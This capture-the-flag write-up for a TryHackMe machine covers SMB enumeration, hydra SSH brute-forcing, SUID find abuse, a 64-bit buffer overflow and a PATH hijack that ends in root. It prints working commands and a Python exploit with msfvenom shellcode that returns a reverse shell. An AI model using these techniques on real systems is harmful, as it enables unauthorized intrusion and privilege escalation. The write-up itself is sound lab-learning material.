Table of Contents
Exploit an SUID bit file, use GNU debugger to take advantage of a buffer overflow and gain root access by PATH manipulation.
Started off by running rustscan to discover open ports. We end up with port 22,139,445
Port 139 and 445 are NBT and SMB services which we can enumerate with enum4linux
enum4linux -A <IP>
The shares weren’t particularly worth looking into. So I let the enumeration finish and we discover some users.
tryhackme sticks out so let’s try bruteforcing ssh with this user
Initial Foothold #
Running hydra against the username tryhackme and the rockyout.txt password list gives us the password to the ssh login
We can now login and exploit the binaries
Privilege escalation #1: SUID binary #
We can begin by locating a binary with SUID bit set.
find / -perm -u=s -type f 2>/dev/null
The /usr/bin/find can be exploited to execute commands as the des user
Using the GTFOBins we obtain the command
/usr/bin/find . -exec /bin/sh -p \; -quit
Execute it to obtain a shell with an effective user id of that of des. Navigate to /home/des to obtain his flag
Privilege escalation #2: Buffer Overflow #
I am still new to 64-bit BOFs but I was able to navigate my way through this one with a bit of some tutorials.
Let’s change user and work with des. Here we are given a binary file that accepts a string as input. Supplying a given length crashes it.
I checked the file information and it’s a 64-bit ELF file
Fuzzing the binary file and finding the offset #
We can generate a bunch of As and try figure out what length of As crash the binary
Let’s do this inside gdb and observer how our registers behave
The rbp is overwritten with the As. Let us send a cyclic pattern and see if we can calculate the offset.
Send that to our program , inspect the registers and copy the value of the rbp
Use pattern_offset to find the pattern. We get it at 608
Overwriting the RBP #
We can confirm we have control over the RBP by trying to overwrite it. Generate a payload of 608 As + 8Bs
The rbp is overwritten with the 8Bs.
Examining the stack #
We now need to examine the stack further so we can find the starting address of the buffer. The command below prints 100 bytes from the top of the stack
The command below gets us the start of the buffer
We can note down an address close to the start of the buffer, we will use this as the value of the rip while creating our final exploit
Creating the final exploit #
We intially found our offset to be 608 bytes, which means that if we write past 608 bytes eg 608 +8 = 616 bytes , we will overwrite the base pointer in the stack. Note that the return address lies just above it, hence 616+8 bytes are required to overwrite the saved return address.
Let us create a shellcode which we use to spawn a shell using msfvenom
Putting all these into a python script
from struct import pack payload_len = 616 nop = b"\x90"*200 new_rip = pack("<Q",0x7fffffffe2d4) #selected randomly near the start of the stack buf = b"" buf += b"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05" buf += b"\xef\xff\xff\xff\x48\xbb\x32\xa3\x67\xe0\x79\x51\x8b" buf += b"\x33\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4" buf += b"\x58\x8a\x3f\x79\x13\x53\xd4\x59\x33\xfd\x68\xe5\x31" buf += b"\xc6\xc3\x8a\x30\xa3\x76\xbc\x73\x53\xa2\x92\x63\xeb" buf += b"\xee\x06\x13\x41\xd1\x59\x18\xfb\x68\xe5\x13\x52\xd5" buf += b"\x7b\xcd\x6d\x0d\xc1\x21\x5e\x8e\x46\xc4\xc9\x5c\xb8" buf += b"\xe0\x19\x30\x1c\x50\xca\x09\xcf\x0a\x39\x8b\x60\x7a" buf += b"\x2a\x80\xb2\x2e\x19\x02\xd5\x3d\xa6\x67\xe0\x79\x51" buf += b"\x8b\x33" shellcode = buf shellcode_len = len(shellcode) nop_len = len(nop) padding = b"A"*(payload_len-shellcode_len-nop_len) payload = [ nop, shellcode, padding, new_rip ] payload = b"".join(payload) print(payload)
The nop_sled is used to increase our chances of hitting the shellcode hence providing some stability to the exploit. The struct module ensures we obey little endian format
Start a meterpreter shell or a nc one listening on port 4444
We get a reverse shell as kel user :) Get the flag and credentials to ssh as kel
Privilege escalation #3: Path Variable Manipulation #
PATH is an environmental variable in Linux and Unix-like operating systems which specifies all bin and sbin directories that hold all executable programs are stored
the exe.c file on user kel’s home directory shows that we are calling the ps system command. The program will search the ps command in the directories of the PATH variable. We can print out the PATH variables for the kel user as follows
kel@THM_exploit:~$ echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin kel@THM_exploit:~$
We can stage our attack as follows - Create our own ps file that spawns a shell and add it to the beginning of $PATH. So when we run the exec binary, we get a shell as root
kel@THM_exploit:~$ cd /tmp kel@THM_exploit:/tmp$ echo “/bin/bash” > ps kel@THM_exploit:/tmp$ chmod 777 ps kel@THM_exploit:/tmp$ echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin kel@THM_exploit:/tmp$ export PATH=/tmp:$PATH kel@THM_exploit:/tmp$ cd kel@THM_exploit:~$ ./exe root@THM_exploit:~#`
We get root !